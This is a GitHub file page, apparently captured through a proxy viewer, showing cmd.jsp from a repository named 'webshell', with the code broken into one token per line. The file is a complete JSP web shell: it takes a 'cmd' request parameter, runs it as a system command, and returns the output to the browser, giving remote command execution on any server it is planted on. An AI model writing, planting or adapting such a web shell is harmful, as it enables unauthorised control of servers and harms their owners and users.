FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
webshell/cmd.jsp at master · l0adingx/webshell · GitHub
l0adingx
webshell
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
webshell
/
cmd.jsp
Copy path
More file actions
More file actions
Latest commit
History
History
History
20 lines (20 loc) · 579 Bytes
Breadcrumbs
webshell
/
cmd.jsp
Copy path
File metadata and controls
20 lines (20 loc) · 579 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@
page
import
=
"
java.io.*
"
%>
<%
try
{
String
cmd
=
request
.
getParameter(
"
cmd
"
);
Process
child
=
Runtime
.
getRuntime()
.
exec(cmd);
InputStream
in
=
child
.
getInputStream();
int
c;
while
((c
=
in
.
read())
!=
-
1
) {
out
.
print((
char
)c);
}
in
.
close();
try
{
child
.
waitFor();
}
catch
(
InterruptedException
e) {
e
.
printStackTrace();
}
}
catch
(
IOException
e) {
System
.
err
.
println(e);
}
%
>
Back
|
FazBrowse Home
|
New Git URL